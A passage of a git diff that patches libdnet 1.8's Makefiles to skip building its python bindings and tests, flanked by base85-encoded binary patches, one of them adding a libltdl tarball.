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 V0)apv5D5MQ{07^3_RIkIAOM_MJR|@B literal 0 HcmV?d00001 diff --git a/libs/libdnet-no-test-python.patch b/libs/libdnet-no-test-python.patch new file mode 100644 index 0000000..1a985eb --- /dev/null +++ b/libs/libdnet-no-test-python.patch @@ -0,0 +1,24 @@ +diff -ru libdnet-1.8.orig/Makefile.am libdnet-1.8/Makefile.am +--- libdnet-1.8.orig/Makefile.am 2004-01-03 00:52:22.000000000 -0800 ++++ libdnet-1.8/Makefile.am 2004-12-09 16:19:38.000000000 -0800 +@@ -2,7 +2,7 @@ + + include $(top_srcdir)/Makefile.am.common + +-SUBDIRS = include man src python test ++SUBDIRS = include man src + + bin_SCRIPTS = dnet-config + +diff -ru libdnet-1.8.orig/Makefile.in libdnet-1.8/Makefile.in +--- libdnet-1.8.orig/Makefile.in 2004-05-05 19:52:14.000000000 -0700 ++++ libdnet-1.8/Makefile.in 2004-12-09 16:19:25.000000000 -0800 +@@ -96,7 +96,7 @@ + + DISTCLEANFILES = *~ + +-SUBDIRS = include man src python test ++SUBDIRS = include man src + + bin_SCRIPTS = dnet-config + diff --git a/libs/libltdl.tar.gz b/libs/libltdl.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..f19bd793711e2b934a4c6a331b3f471f0e64351e GIT binary patch literal 339741 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 